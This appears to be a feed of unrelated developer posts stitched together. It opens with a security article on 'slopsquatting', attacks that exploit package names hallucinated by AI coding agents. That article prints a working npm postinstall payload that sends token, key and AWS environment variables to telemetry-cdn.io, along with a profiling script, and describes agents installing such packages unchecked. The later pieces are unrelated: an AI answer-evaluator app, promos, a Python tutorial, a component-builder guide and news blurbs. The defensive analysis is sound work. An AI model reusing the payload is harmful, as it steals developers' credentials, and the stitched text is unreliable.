Slopsquatting: The Attacker Playbook for AI-Hallucinated Package Names

This article was originally published on LucidShark Blog.

Typosquatting required effort. An attacker had to guess which popular package names developers might mistype, register plausible-looking variants, and then wait for the rare case where a human fat-fingered an install command. The hit rate was low because the attack surface was small: the gap between what a developer intended to type and what their fingers actually produced.

Slopsquatting inverts the economics entirely. Instead of waiting for human error, attackers harvest the systematic hallucinations of AI coding tools, then register exactly the package names that LLMs confidently invent. The attack surface is not a small set of typo variants. It is 440,000-plus hallucinated package names catalogued by researchers across Python and JavaScript ecosystems, each one a pre-registered trap waiting for an AI agent to suggest it.

This post is about the attacker side of that equation: specifically, how slopsquatting operations work, why AI agents are better victims than humans, and what detection looks like at the dependency resolution layer.

Not hypothetical: In January 2026, a researcher found an npm package called react-codeshift spreading through 237 real repositories via AI-generated agent skill files. Nobody planted it deliberately. The AI hallucinated the name, the agent executed the install, and the package propagated through forks without any human making a conscious choice to add it. It was still receiving daily download attempts from AI agents when the researcher claimed the name.

The Research Baseline

The foundational data on slopsquatting comes from a USENIX Security 2025 paper in which researchers tested 16 code-generation models across 576,000 Python and JavaScript code samples. The headline number is that AI coding tools hallucinate non-existent package names in roughly 20% of interactions, producing 440,445 unique fake dependency references.

The breakdown matters for understanding attacker targeting:

  • 51% pure fabrications: Names with no resemblance to any real package. The model invented them from scratch, typically to describe a utility it believes should exist.

  • 38% conflations: The model mashes two real package names together. express-mongoose, react-router-redux, axios-interceptor-retry. Each component is a real package. The combination is not.

  • 13% typo variants: Near-misses on real package names. These overlap with traditional typosquatting targets but are generated by the model rather than a human’s fingers.

The persistence characteristic is the detail attackers exploit: when a prompt that generated a hallucination is repeated, the same hallucinated package name appears 43% of the time in subsequent queries, and 58% of all hallucinated names are repeated more than once across independent sessions. This is not random noise. It is a stable pattern that can be profiled.

Why stability matters to attackers: A hallucination that appears once is a curiosity. A hallucination that appears in 43% of sessions using a common prompt pattern is a target. If an attacker can identify which package names a specific model reliably hallucinates for a given task category, they can pre-register those names and wait. The model will do the distribution work for them.

The Attacker Playbook, Step by Step

Step 1: Model Profiling

Attackers do not guess. They run systematic prompts against publicly available models (GPT-4o, Claude Sonnet, Gemini, CodeLlama) across task categories: “write a function to parse XML in Python,” “implement JWT authentication in Node.js,” “add retry logic to an HTTP client.” Each response is parsed for import statements and package references. Non-existent packages are logged with their originating prompt and model.

# Attacker profiling script (simplified)
import subprocess, json

prompts = [
    "Write a Python function to parse XML and extract all attributes",
    "Implement JWT token validation middleware for Express.js",
    "Add exponential backoff retry logic to an axios HTTP client",
    "Write a Python script to diff two JSON objects recursively",
    "Create a React hook for real-time WebSocket subscriptions",
]

hallucinated = {}
for prompt in prompts:
    # query model API, extract import/require statements
    # check each package name against npm/PyPI registry
    # log packages that return 404
    pass

# Output: {"requests-xml-parser": 12, "jwt-express-validator": 8,
#          "axios-retry-backoff": 19, "deep-json-diff": 6, ...}

The output is a frequency-ranked list of hallucinated names per model, per task category. High-frequency names are the primary targets. They represent package names the model will reliably suggest to anyone performing that task category.

Step 2: Registry Availability Check and Registration

For each high-frequency hallucination, the attacker checks whether the name is already registered on npm or PyPI. Unregistered names are claimed immediately with a skeleton package that contains a malicious postinstall or preinstall lifecycle script.

{
  "name": "axios-retry-backoff",
  "version": "1.0.0",
  "description": "Axios retry with exponential backoff",
  "main": "index.js",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  },
  "keywords": ["axios", "retry", "backoff", "http"],
  "author": "community-maintained",
  "license": "MIT"
}

// scripts/setup.js (the actual payload)
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');

const data = JSON.stringify({
  h: os.hostname(),
  u: os.userInfo().username,
  p: process.env.PATH,
  // environment variables captured here
  env: Object.keys(process.env)
    .filter(k => /TOKEN|KEY|SECRET|PASSWORD|AWS|GITHUB/i.test(k))
    .reduce((acc, k) => ({ ...acc, [k]: process.env[k] }), {})
});

// exfiltrate to attacker-controlled endpoint
const req = https.request({ host: 'telemetry-cdn.io', path: '/init', method: 'POST' });
req.write(data);
req.end();

The package index page looks legitimate: a description matching the hallucinated name, common keywords, an MIT license. It passes a cursory visual inspection. The malicious behavior is entirely in the lifecycle script, which runs automatically on npm install.

Step 3: Waiting for AI Agents to Execute

This is where slopsquatting diverges from every prior supply chain attack pattern: the attacker does not need to inject anything into a legitimate package, compromise a maintainer account, or send a phishing email. They simply wait. Every time an AI coding agent suggests the hallucinated package name and then executes npm install, the payload runs automatically.

In an agentic workflow where the agent has filesystem and shell access, the install happens without a human confirming the package. The agent has already been given permission to install dependencies. The sequence is:

  • Developer prompts Claude Code: “Add retry logic to our HTTP client.”

  • Claude Code generates code referencing axios-retry-backoff.

  • Claude Code runs npm install axios-retry-backoff autonomously.

  • The postinstall script runs, exfiltrates environment variables including GITHUB_TOKEN, AWS_ACCESS_KEY_ID, and any other secrets in the shell environment.

  • The developer’s machine is now compromised. The agent continues, none the wiser.

The CISA parallel: The recent incident where a CISA administrator’s AWS GovCloud keys leaked prompted a top Hacker News comment noting that AI agents routinely send .env file contents to LLM APIs. The same agent that sends your environment to a cloud LLM for context also executes installs from a registry with no verification. The attack surface is the intersection of those two behaviors.

Step 4: Scaling via Agentic Proliferation

Traditional typosquatting attacks wait for individual developers to mistype. Slopsquatting attacks scale through the viral propagation of AI-generated code. When an AI agent generates a scaffold or boilerplate containing a hallucinated dependency, that scaffold gets committed to a repository. Other developers clone it, run npm install, and execute the payload. The package spreads through forks and downstream projects.

The react-codeshift case documented 237 repository propagations from a single hallucinated reference. At that scale, one package registration becomes a multi-organization incident.

Why AI Agents Are Better Victims Than Humans

The shift from human developers to AI agents as the primary consumers of hallucinated packages changes the threat model in three ways:

No Visual Verification

A human developer who types an unfamiliar package name into a terminal might pause to search for it, check the npm page, compare the weekly download count to its claimed popularity. An AI agent running in an automated loop does not. It executes the install and moves on. The friction that protected humans in typosquatting scenarios simply does not exist.

Persistent Re-Execution

An agentic workflow that runs on a schedule, or a CI/CD pipeline where an agent is given tool access, will execute the same hallucinated install repeatedly. Each run is a new opportunity for the payload to execute. A human who installs a bad package once and notices unusual behavior will not install it again. A scheduled agent has no such feedback loop.

Elevated Permissions and Rich Environment

AI coding agents in agentic workflows typically run with the developer’s full shell environment: all environment variables, all credentials, all tokens. The postinstall script of a slopsquatted package has access to everything the developer’s shell has access to. That includes CI/CD tokens, cloud provider credentials, and API keys for every service the developer has authenticated against.

# What a typical developer shell environment exposes to a postinstall script
echo $GITHUB_TOKEN        # repository write access
echo $AWS_ACCESS_KEY_ID   # cloud infrastructure access
echo $NPM_TOKEN           # ability to publish to npm as the developer
echo $DATABASE_URL        # direct database connection string
echo $STRIPE_SECRET_KEY   # payment processor access
echo $OPENAI_API_KEY      # LLM API billing access

The SAP CAP npm attack of April 2026, where four packages with 572,000 combined weekly downloads carried malicious preinstall hooks, demonstrated that the payload execution model works at scale. Slopsquatting is that same execution model, but with the distribution problem solved by AI hallucinations rather than compromising a legitimate maintainer.

Detection at the Dependency Resolution Layer

The effective detection point for slopsquatting is not at the code generation step. You cannot reliably prompt an LLM to only suggest real packages. The effective detection point is between the npm install invocation and the actual registry resolution: a layer that checks whether the package being installed existed before the current session, has meaningful download history, and has provenance attestations.

What to Check Before Any Install

# Pre-install validation script (integrate with pre-commit or agent tooling)
#!/usr/bin/env bash

PACKAGE=$1

# 1. Check if package exists in registry
NPM_DATA=$(curl -sf "https://registry.npmjs.org/${PACKAGE}" 2>/dev/null)
if [ $? -ne 0 ]; then
  echo "BLOCK: Package '${PACKAGE}' not found in npm registry."
  exit 1
fi

# 2. Check weekly download count (low count = red flag)
DOWNLOADS=$(curl -sf "https://api.npmjs.org/downloads/point/last-week/${PACKAGE}" 
  | python3 -c "import sys,json; print(json.load(sys.stdin).get('downloads',0))")
if [ "$DOWNLOADS" -lt 100 ] 2>/dev/null; then
  echo "WARN: Package '${PACKAGE}' has only ${DOWNLOADS} downloads last week."
fi

# 3. Check publish date (very new package = red flag)
CREATED=$(echo "$NPM_DATA" | python3 -c 
  "import sys,json; d=json.load(sys.stdin); print(list(d.get('time',{}).keys())[0] if d.get('time') else 'unknown')")
echo "INFO: Package '${PACKAGE}' first published: ${CREATED}"

# 4. Check for postinstall/preinstall scripts
HAS_LIFECYCLE=$(echo "$NPM_DATA" | python3 -c 
  "import sys,json; d=json.load(sys.stdin); 
   scripts=d.get('versions',{}).get(d.get('dist-tags',{}).get('latest',''),{}).get('scripts',{}); 
   print('YES' if any(k in scripts for k in ['postinstall','preinstall','install']) else 'NO')")
if [ "$HAS_LIFECYCLE" = "YES" ]; then
  echo "WARN: Package '${PACKAGE}' has lifecycle scripts. Review before installing."
fi

The Lockfile as a Defense Boundary

Once a package is in your lockfile after passing validation, subsequent installs resolve to the exact version and hash you verified. The lockfile is a trust boundary: nothing new enters without a deliberate install command that can be intercepted and checked. This is why maintaining a strict lockfile and running npm ci (which fails on lockfile changes) rather than npm install in production contexts matters enormously in an agentic workflow.

# .npmrc configuration to reduce install-time attack surface
audit=true
fund=false
ignore-scripts=false  # keep this false and audit scripts instead

# In CI/CD, use:
npm ci --ignore-scripts  # install from lockfile, skip all lifecycle scripts
# Then run only the scripts you explicitly trust

The provenance gap: npm provenance attestations (OIDC-based, introduced in 2023) verify that a package was built from a specific repository commit via a specific CI/CD pipeline. The TanStack supply chain attack demonstrated that even valid OIDC provenance can be bypassed when a maintainer’s token is compromised. Provenance is a necessary signal but not a sufficient one. Slopsquatted packages, being attacker-registered from the start, will never have provenance attestations. That absence is itself a signal.

What the Hallucination Frequency Data Tells You

The USENIX research established that hallucinations follow predictable patterns per model. This means you can use the same profiling methodology defensively: run your own prompts through the AI tools your team uses, capture the package suggestions, and audit which suggested packages have low install counts, recent creation dates, or no provenance attestations.

This is not a one-time audit. As models are updated, hallucination patterns shift. The defensive version of attacker Step 1 is an ongoing process, not a point-in-time check.

# Defensive hallucination profiling (run monthly against your tool stack)
import json, urllib.request

def check_package_legitimacy(package_name: str, ecosystem: str = "npm") -> dict:
    """
    Returns risk signals for a package name.
    Used to validate AI-suggested dependencies before install.
    """
    result = {"package": package_name, "exists": False, "risk_signals": []}

    if ecosystem == "npm":
        url = f"https://registry.npmjs.org/{package_name}"
        try:
            with urllib.request.urlopen(url, timeout=5) as resp:
                data = json.loads(resp.read())
                result["exists"] = True

                # Check creation date
                times = data.get("time", {})
                if "created" in times:
                    result["created"] = times["created"]

                # Check download proxy (requires separate API call)
                latest = data.get("dist-tags", {}).get("latest", "")
                scripts = data.get("versions", {}).get(latest, {}).get("scripts", {})
                if any(k in scripts for k in ["postinstall", "preinstall", "install"]):
                    result["risk_signals"].append("lifecycle_scripts_present")

                # No provenance = red flag for any package suggested by AI
                if not data.get("versions", {}).get(latest, {}).get("_attestations"):
                    result["risk_signals"].append("no_provenance_attestation")

        except Exception:
            result["risk_signals"].append("registry_404_does_not_exist")

    return result

# Example output for a slopsquatted package:
# {
#   "package": "axios-retry-backoff",
#   "exists": True,
#   "created": "2026-04-17T09:23:41.000Z",  # recent creation
#   "risk_signals": ["lifecycle_scripts_present", "no_provenance_attestation"]
# }

The Agentic Amplification Problem

Every improvement in agentic coding capabilities makes slopsquatting a more attractive attack vector. As agents gain longer context windows and more autonomous tool use, they handle larger codebases and more complex dependency graphs. Each additional dependency in a large codebase is an opportunity for a hallucinated name to slip through.

The agentic autonomy that makes these tools productive, running installs, scaffolding projects, updating dependencies without waiting for human confirmation, is the same autonomy that removes the last friction point that might have caught a slopsquatted package before execution.

The countermeasure is not to reduce agent autonomy. It is to add a validation layer at the install boundary that the agent invokes as part of its own tool loop. When the agent’s install tool checks the registry, verifies download history, and requires explicit confirmation for any package with risk signals, the agent’s autonomy is preserved while the attack surface is closed.

LucidShark’s SCA check runs before any AI agent can install an unvetted dependency.

LucidShark’s pre-commit SCA scanner resolves every new package addition against the npm and PyPI registries, checks download counts, flags lifecycle scripts, and surfaces provenance gaps. When a slopsquatted package is staged for commit, the hook fails with a structured error that Claude Code can read and act on: remove the hallucinated dependency, find the legitimate alternative, and re-stage.

The check runs locally in under 200ms. No cloud service, no per-seat pricing, no dependency on external availability. Your environment variables never leave your machine. The agent’s correction loop happens in the same session, before the bad package ever reaches your lockfile.

Install LucidShark for free at lucidshark.com and configure dependency validation for Claude Code in under five minutes.

UttarCheck — AI-based Handwritten Answer Evaluator Built with Gemma 4

favicon

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

I dedicate this project to the students studying between 6th and 12th grade in India. My thoughts during the project ideation emerged from my extensive use of AI whether they are chatbots or RAG applications to understand the concepts but the scenario changes for the school going students. They write exams and need personalised evaluation for their handwritten answers because many students are still not able to access the premium education for example those living in remote areas, and as pupils in this age bracket are having developing minds, I decided to build something which can point their mistakes out in graceful manner while suggesting improvements so that they feel confident and prepared before examination, can write accurate answers in their exams.
It is a simple concept to implement Gemma 4 model in this project. If I add personal story to it. Apps like these were needed to write my UG exams let alone a drive for me to write in legible handwriting. I believe this app will genuinely be helpful for secondary school students.
Student clicks the picture of his/her answer to any question and get feedback on it, gives the score on scale 1 to 10 and generates detailed feedback in both Hindi and English language as well. It works for both Hindi and English language written answersheet and I wish to expand the evaluator to multilingual support because my country is diversified and each student on the land must get benefitted.

Demo

I gave UttarCheck application Photosynthesis answer. I exposed my localhost on ngrok as of now and recorded it. I fetched GEMMA 4 model from Google AI studio.

Code

I provide GITHUB repo for detailed explanation of my project

GitHub logo

s17anushka
/
UttarCheck

UttarCheck is an AI-powered handwritten answer evaluation system built using Gemma 4. It analyzes student answer sheets, generates scores, detects mistakes, and provides detailed feedback in both Hindi and English. The platform is designed for Indian classrooms and supports intelligent evaluation of handwritten responses across multiple subjects.

██╗   ██╗████████╗████████╗ █████╗ ██████╗  ██████╗██╗  ██╗███████╗ ██████╗██╗  ██╗
██║   ██║╚══██╔══╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║  ██║██╔════╝██╔════╝██║ ██╔╝
██║   ██║   ██║      ██║   ███████║██████╔╝██║     ███████║█████╗  ██║     █████╔╝
██║   ██║   ██║      ██║   ██╔══██║██╔══██╗██║     ██╔══██║██╔══╝  ██║     ██╔═██╗ 
╚██████╔╝   ██║      ██║   ██║  ██║██║  ██║╚██████╗██║  ██║███████╗╚██████╗██║  ██╗
 ╚═════╝    ╚═╝      ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝

AI-Powered Handwritten Answer Evaluator for Indian Students

Built for the Gemma 4 Challenge on DEV.to

Python
Flask
Gemma
License

The Problem

India has 250 million school students. Most write handwritten answers for board exams — CBSE, UP Board, ICSE. Getting feedback means waiting days for a teacher.

UttarCheck changes that.

Photograph your handwritten answer. Get instant AI evaluation — score, mistakes, improvement tips — in Hindi and English. Powered by Gemma 4 running multimodal vision inference.

Demo

Student photographs answer sheet
           ↓
    UttarCheck processes image
           ↓
  Gemma 4 reads handwriting
           ↓
  ┌─────────────────────────┐
  │  Score: 9/10  Grade: A+ │
  │  Subject: Science       │
  │                         │
  │  ✅

…

How I Used Gemma 4

The intent to choose Gemma 4 API for UttarCheck is its native multimodal capability. It is not a normal text model where we add OCR step to read content from the handwritten text while Gemma 4 does read directly from the text
I specifically chose gemma-4-26b-a4b-it (the Mixture-of-Experts variant) for three reasons:

  1. Multimodal vision — Gemma 4 receives the answer sheet photo as base64-encoded image data alongside the evaluation prompt. It reads the handwriting, identifies the subject, detects the question from context, and evaluates content quality — all in a single inference call.
  2. MoE efficiency — The 26B MoE model activates only ~4B parameters per inference. For an educational tool expecting many concurrent students, this means faster response times and lower API cost compared to a dense model of equivalent quality.
  3. Bilingual reasoning — Gemma 4 generates feedback simultaneously in Hindi and English without any translation layer. Indian students think in Hindi but study in English — having both in one response is genuinely useful.
    The Multimodal Payload

payload = {
“contents”: [{
“parts”: [
{“inline_data”: {“mime_type”: “image/jpeg”, “data”: image_b64}},
{“text”: “Evaluate the handwritten answer in this image…”}
]
}],
“generationConfig”: {“temperature”: 0.2, “maxOutputTokens”: 1024}
}

Gemma 4 does not always return in JSON response. It thinks through to evaluate step by step which produces better results but wraps the final JSON in prose and markdown fences.I wrote about it that how I handled in the Github Readme. I sought this strategy from utilising various LLMs because it was something new to me.

Edge Deployment

The architecture is designed with Gemma 4 E4B in mind. When the edge variant becomes available via API, UttarCheck will run fully on-device — no internet, no server, student data never leaving the phone. The gemma_service.py already has an Ollama backend wired in for local inference today.

A great success to the application, I hope it is ahead of it’s time when the project comes out from its viability to its effective usability.
Thank you !

AI is heading toward a wall, and most people still don’t see it…

tizwildin profile

AI is heading toward a wall most people still don’t see:

Inference cost.
Memory survivability.
Runtime continuity.
Storage economics.

The next generation of AI won’t be defined by whoever ships the biggest model.

It’ll be defined by whoever builds systems that can persist, replay, evolve, and operate independently over time.

That’s what I break down in my new article:

“ARC-Neuron, LLMBuilder, and the Future Economics of Real AI”

This isn’t another “AI wrapper” discussion.

It’s about:

  • local-first intelligence systems
  • GGUF + CPU-first execution
  • deterministic memory lineage
  • rollback-capable runtime architectures
  • receipt-backed operations
  • symbolic lexical memory structures
  • infrastructure designed for long-term persistence instead of disposable prompts

A huge amount of the current AI industry is still optimized around:
“generate → forget → regenerate.”

That model becomes extremely expensive at scale.

Especially once:

  • agents run continuously
  • memory grows permanently
  • workflows become autonomous
  • storage becomes historical infrastructure
  • inference becomes operational overhead

The future economics of AI are probably closer to:
compute governance + memory architecture + persistence efficiency

—not just parameter count.

ARC-Neuron and LLMBuilder were built around that philosophy:
replaceable models, persistent systems.

Because eventually the model becomes interchangeable.

The continuity does not.

GitHub:

GitHub logo

GareBear99
/
ARC-Neuron-LLMBuilder

A governed local AI build-and-memory system that trains small brains, compares them, protects the better one, archives the worse one, and preserves the evidence of why. v1.0.0/governed-v2.2.0+

ARC-Neuron LLMBuilder

A governed local AI build-and-memory system — train small language models, measure them, promote the better ones through a regression-aware gate, and keep every decision restorable.

Local-first. Evidence-backed. Promotion-gated. Rollback-safe. Part of the seven-repo ARC ecosystem.

🖥️ Built, tested, and verified on a 2012 Intel Mac running macOS Catalina. If it runs there, it runs anywhere. The four governed promotions, the 136-test public verification suite, the 168-task scorer-expanded benchmark inventory, the Omnibinary throughput numbers, and the 9-step proof workflow were all produced on 12-year-old consumer hardware with a pre-Retina Intel CPU. No GPU. No cloud. No accelerator. Just Python and a lot of discipline.

It is not just another LLM training repo — it is an evidence-preserving build loop for developing better local AI systems.

💫 Thanks to our supporters


Stargazers

Topics: local AI · offline LLM · GGUF · model governance · AI provenance · Gate v2…

ai #opensource #llm #agents #machinelearning #localai #gguf #inference #python #buildinpublic

Python String Methods Explained Simply (Common Operations)

Strings have many built-in methods for common tasks. These methods return new strings and do not change the original.

Basic methods for changing case

text = "hello python"

print(text.upper())   # HELLO PYTHON
print(text.lower())   # hello python
print(text.title())   # Hello Python
print(text.capitalize())  # Hello python

Removing whitespace

messy = "  hello  "

print(messy.strip())   # "hello"
print(messy.lstrip())  # "hello  "
print(messy.rstrip())  # "  hello"

Finding and replacing

sentence = "I like cats and cats like me"

print(sentence.find("cats"))     # 7 (first position)
print(sentence.replace("cats", "dogs"))  # I like dogs and dogs like me

Checking content

email = "[email protected]"

print(email.startswith("user"))  # True
print(email.endswith(".com"))    # True
print("123".isdigit())           # True
print("abc".isalpha())           # True

Splitting and joining

words = "apple,banana,cherry"

word_list = words.split(",")
print(word_list)  # ['apple', 'banana', 'cherry']

new_string = "-".join(word_list)
print(new_string)  # apple-banana-cherry

Simple examples

Clean user input:

name = "  Alice  "
clean_name = name.strip().title()
print(clean_name)  # Alice

Count occurrences (use count method):

text = "hello hello world"
print(text.count("hello"))  # 2

Quick summary

  • Methods like .upper(), .lower(), .strip() for formatting.
  • .find(), .replace() for searching and changing.
  • .startswith(), .endswith(), .isdigit() for checks.
  • .split() and .join() for lists and strings.

Practice common string methods on text. They are essential for cleaning and processing strings in Python programs.

Why We Built a Zero-Knowledge Clipboard Manager for Developers (And Dropped Native Mobile Apps)

As developers, our system clipboard is a live, running history of our most sensitive data. On any given day, you and I are copying and pasting AWS keys, database connection strings, .env variables, and proprietary code blocks.

The problem is that traditional, consumer-grade clipboard managers treat this data like ordinary text. If they offer cloud syncing, they usually pass your raw data to a centralized database where it is stored or decrypted on their servers. One data breach on their end means every secret you’ve copied over the last year is exposed to threat actors.

We built Encrypted Clipboard Manager (ECM) to completely change this architecture. It is a local-first browser extension designed explicitly to give developers a secure clipboard history without compromising data privacy.

💻 How It Works Under the Hood

To bridge the gap between convenience (syncing across devices) and absolute security, ECM relies on a Zero-Knowledge, Privacy-by-Default framework:

  1. Local-First History: The extension intercepts and caches your clipboard data entirely inside a local browser sandbox. No network access is required for standard operations.
  2. Client-Side Encryption: If you choose to enable cloud syncing, the payload is encrypted on your machine before it ever hits the network. Using the native Web Crypto API, your data is transformed into ciphertext using a password only you know. The sync server acts as a blind relay-it cannot read, parse, or decrypt your history.
  3. Smart Sharing (New in v4.0.0): When you need to securely send a credential or snippet to a teammate, ECM generates a secure link directly from your sidepanel. The recipient prompts for a password, and the browser decrypts the stream natively, mapping the original file type (MIME-type) seamlessly for instant download.

📱 The Mobile Strategy: Why We Dropped Native Apps for a Web Dashboard

A common question we get is: “Where are the native iOS and Android apps?”

The answer comes down to modern operating system sandboxing. Both iOS and Android no longer allow background applications to automatically and silently sniff the system clipboard for security and privacy reasons. To sync a clipboard item on modern mobile OS layers, a native app would require you to manually open it every single time just to trigger a clipboard read.

Because background automation is dead on mobile, there is fundamentally no functional difference between a native app and a secure web app.

Instead of bloated native mobile clients, we built a secure, mobile-responsive web dashboard. Through this dashboard on iOS or Android, you can:

  • Decrypt & Access: Securely pull and view your existing synced history on the go.
  • Add & Sync Back: Manually add new sensitive items or snippets directly into the web dashboard. The moment you save them, they are encrypted client-side and synced seamlessly back to your desktop environments via the browser extensions.

🔍 Auditing the Crypto Core

We believe you should never blindly trust a security tool just because the landing page says “encrypted.”

While the core browser extension interface and frontend client code are closed-source, we have open-sourced the entire cryptographic engine driving the application.

We did this so the developer community can directly audit the mathematical implementation, inspect the Web Crypto logic, and verify that there are absolutely no backdoors in how keys are generated or handled.

You can review the repository, audit the code, or pull it into your own security pipelines via npm:

npm i @encryptedclipboard/crypto

Let’s Chat Architecture!

We are building ECM in public and want to tailor it perfectly to developer workflows.

How do you feel about the changing landscape of OS clipboard restrictions? Does a local-first extension + web dashboard setup fit how you move secrets between devices? Let’s talk in the comments below!

Add Your Own Component to Bombie in 5 Edits

This is the third post in the Bombie series. The first post was an intro, the second covered the architecture. This one is a hands-on walkthrough: take a Material-UI component that isn’t already in Bombie, and wire it up so it appears in the palette, drags onto the canvas, opens a property editor, and renders in the live preview.

The whole change is five small edits across the same five files for every new component. Once you’ve done one, the next one takes about ten minutes.

I’ll use Rating as the running example. It’s a single-leaf component (no children), it has a small but meaningful prop surface (value, max, precision, size, readOnly, disabled), and it’s not already in the catalog.

Prerequisites

Clone and run Bombie locally:

git clone https://github.com/amith-moorkoth/bombie.git
cd bombie
cp .env.example .env
npm install
npm start

You’ll get the builder at http://localhost:8080/generate-component. Open src/Lib/ComponentGenerator/ — every file you’re going to touch lives under there.

Edit 1: register the component in the catalog

The catalog is the source of truth for what Bombie knows about. It lives in two files:

  • Data/element-base.js — display name + tag
  • Data/elements.js — drag-and-drop type info

Add Rating to element-base.js:

// src/Lib/ComponentGenerator/Data/element-base.js
export const ELEMENT_BASE = {
  // …existing entries
  Rating: { tag: "Rating", displayName: "Rating" },
};

And to elements.js:

// src/Lib/ComponentGenerator/Data/elements.js
export const ELEMENTS = {
  // …existing entries
  Rating: {
    type: "leaf",         // it's a leaf, no children
    accept: [],           // it doesn't accept any drops
  },
};

type controls where this component can be dropped (most things accept "leaf"). accept is what this component allows as a child — empty for leaves like Rating, populated for containers like Box / Grid / Stack.

Edit 2: write the builder UI file

This is the only new file you’ll create. It defines two things: the schema (what the property editor shows) and the render (what the canvas draws).

Create src/Lib/ComponentGenerator/Container/UI/Rating.js:

// src/Lib/ComponentGenerator/Container/UI/Rating.js
import Rating from "@mui/material/Rating";
import { makeLeafComponent } from "./Common/make-component";

export default makeLeafComponent({
  tag: "Rating",

  schema: {
    Appearance: {
      size: {
        type: "select",
        options: ["small", "medium", "large"],
        default: "medium",
      },
      max: {
        type: "number",
        default: 5,
        min: 1,
        max: 10,
      },
      precision: {
        type: "select",
        options: [0.5, 1],
        default: 1,
      },
    },
    State: {
      value: {
        type: "number",
        default: 3,
        min: 0,
      },
      readOnly: { type: "boolean", default: false },
      disabled: { type: "boolean", default: false },
    },
  },

  render: ({ props }) => <Rating {...props} />,

  // Optional defaults applied when the component is dropped on the canvas
  defaultProps: { value: 3, max: 5, precision: 1, size: "medium" },
});

A few notes on what’s happening here:

  • makeLeafComponent is a factory from UI/Common/make-component.js. It wraps the renderer with the builder chrome (selection outline, wrench button, delete button) and registers the schema so the property editor knows what controls to show.
  • Schema groups become sections in the property dialog. “Appearance” gets one card, “State” gets another. This is what makes the editor scannable instead of a wall of inputs.
  • Field types the editor knows about: string, number, boolean, select, color. Anything else falls through to a text input.
  • render receives the node’s props (already merged with defaults) and returns plain JSX. No builder logic in this function — that’s what the wrapper handles.

For container components (Box, Grid, Stack, Card, etc.) you’d use makeContainerComponent instead. It accepts the same schema / render shape but also wires up a <DropBox> around the children so things can be dropped inside.

Edit 3: register it in the renderer switch

The canvas uses a central registry to know which builder UI file handles which tag. Add Rating to it:

// src/Lib/ComponentGenerator/Container/element-render.js
import Rating from "./UI/Rating";
// …other imports

export const REGISTRY = {
  // …existing entries
  Rating,
};

This is the registry the recursive renderer (element-recursion.js) consults for every node it walks. node.info.tag looks up its renderer here.

Edit 4: add an icon + put it in a palette category

The palette in the left sidebar groups components by category. Two small additions:

// src/Lib/ComponentGenerator/Elements/icon-map.js
import StarIcon from "@mui/icons-material/Star";
// …

export const ICON_MAP = {
  // …existing entries
  Rating: StarIcon,
};
// src/Lib/ComponentGenerator/Elements/index.js
export const CATEGORIES = {
  Layout:      [/* … */],
  "Form Elements":  ["TextField", "Select", /* …, */ "Rating"], // add here
  "Data Display":   [/* … */],
  Feedback:    [/* … */],
  Navigation:  [/* … */],
};

Categories are just arrays of tags. Pick the one that makes sense — Rating is technically a form input but it’s also a display element. I put it under “Form Elements” because it has a value and a readOnly mode, but “Data Display” is a defensible choice too.

Edit 5: teach the preview about it

The live preview has its own renderer (render-preview.js) that emits clean MUI JSX without builder chrome. It uses a switch keyed by tag — add a branch:

// src/Lib/ComponentGenerator/Preview/render-preview.js
import Rating from "@mui/material/Rating";
// …

const RENDERERS = {
  // …existing entries
  Rating: ({ node }) => <Rating {...node.props} />,
};

That’s it. The preview will now render Rating the same way the canvas does, minus the outline and wrench.

Testing your change

Hot-reload should pick everything up. Open the builder, find “Rating” in the Form Elements category, drag it onto the canvas. You should see five stars with the third one filled in (your defaultProps.value: 3).

Click the wrench. You should see the property dialog with two sections — “Appearance” with size / max / precision, and “State” with value / readOnly / disabled. Flip “readOnly” to true, change value to 4.5 (oh wait — precision is 1; set precision to 0.5 first, then 4.5 works).

Click Preview. The iframe shows your component without any builder chrome. Toggle Mobile / Tablet / Desktop — Rating doesn’t have responsive breakpoints itself, but if you’d dropped it inside a Grid it would reflow correctly.

If something doesn’t render: the most common culprit is forgetting Edit 3 (register in element-render.js) or Edit 5 (register in render-preview.js). One controls the canvas, the other controls the preview, and the symptoms are different — canvas-only failures mean a missing entry in element-render.js, preview-only failures mean a missing entry in render-preview.js.

What about container components?

For containers, two things change:

  1. Use makeContainerComponent instead of makeLeafComponent. It wraps a <DropBox> around the rendered children.
  2. In elements.js, set type: "container" and populate accept with the tags this container will receive (usually ["leaf", "container"] to allow nesting).

The render function for a container gets children it should render the canvas-rendered subtree into. Example skeleton:

makeContainerComponent({
  tag: "MyContainer",
  schema: { /* … */ },
  render: ({ props, children }) => (
    <MyContainer {...props}>{children}</MyContainer>
  ),
});

children here is the already-rendered subtree (with builder chrome on the canvas, plain JSX in the preview).

A note on prop validation

Bombie doesn’t enforce prop validation beyond what MUI itself does at runtime. If you put value: 99 on a Rating with max: 5, MUI will clamp it. The schema’s min/max hints are advisory — the editor uses them for its number input UI, but the property dialog won’t refuse to let you save an out-of-range value.

In practice this hasn’t been a problem because the editor’s controls (select dropdowns, numeric inputs with min/max) make it hard to enter nonsense in the first place. But if you’re adding a component with strict prop constraints, document them in the schema using a description field — the property dialog will surface it as helper text.

Recap

For any new component, the five edits are:

  1. Catalog — Data/element-base.js + Data/elements.js
  2. Builder UI — one new file under Container/UI/
  3. Renderer registry — add to REGISTRY in element-render.js
  4. Palette — add icon to icon-map.js and tag to Elements/index.js
  5. Preview renderer — add a branch in render-preview.js

There’s no central manifest file that needs to be regenerated, no build step that needs to run, no test that needs to pass before the new component shows up. Hot-reload picks everything up in seconds.

The whole architecture is built around making this addition cheap, because the practical value of Bombie scales with how many MUI components it knows about. PRs that add components are exactly the kind of contribution I want.

In the next post — last in this series — I’ll cover the operational lessons: GitHub Pages SPA deep links, the CSP-per-mode setup, and why bombie-three.vercel.app ended up on Vercel even though the repo has a GitHub Pages workflow.

Links

Bintrail: MySQL Time-Travel Queries Using Indexed Binlogs

Bintrail is a recently introduced layer that brings point-in-time queries and row-history lookups to MySQL, the only major relational database lacking native temporal querying. Using indexed binlogs behind ProxySQL and without modifying MySQL or application code, Bintrail supports querying data as of a past timestamp and reviewing change history, primarily for recovery and audit scenarios.

By Renato Losio

Spotify, yapay zekadan güç alan yeni sistemler duyurdu

Spotify, yapay zekadan güç alan yeni sistemler duyurdu

